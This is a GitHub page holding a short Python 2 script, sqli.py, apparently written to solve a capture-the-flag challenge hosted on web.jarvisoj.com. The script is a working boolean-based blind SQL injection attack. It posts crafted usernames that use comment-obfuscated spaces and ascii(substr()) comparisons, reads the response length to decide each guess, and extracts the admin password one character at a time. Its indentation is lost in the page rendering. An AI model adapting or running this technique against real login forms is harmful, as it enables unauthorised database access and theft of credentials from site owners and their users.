-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsqli.py
More file actions
33 lines (28 loc) · 876 Bytes
/
sqli.py
File metadata and controls
33 lines (28 loc) · 876 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2017/6/10 20:43
# @Author : Set3rnal
# @Site :
# @File : sqli.py
# @Software: PyCharm
#
import requests
result = ""
url = 'http://web.jarvisoj.com:32787/login.php'
payload = {"username": 'xx', "password": 1, }
username_temp = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#"
chars = '0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1, 32):
for char in chars:
char_ascii = ord(char)
username = username_temp.format(i, char_ascii)
payload['username'] = username
response = requests.post(url=url, data=payload)
length = len(response.text)
# print length
if length > 1191:
result += char
print result.ljust(40, '.')
break
print "bingo!:"
print result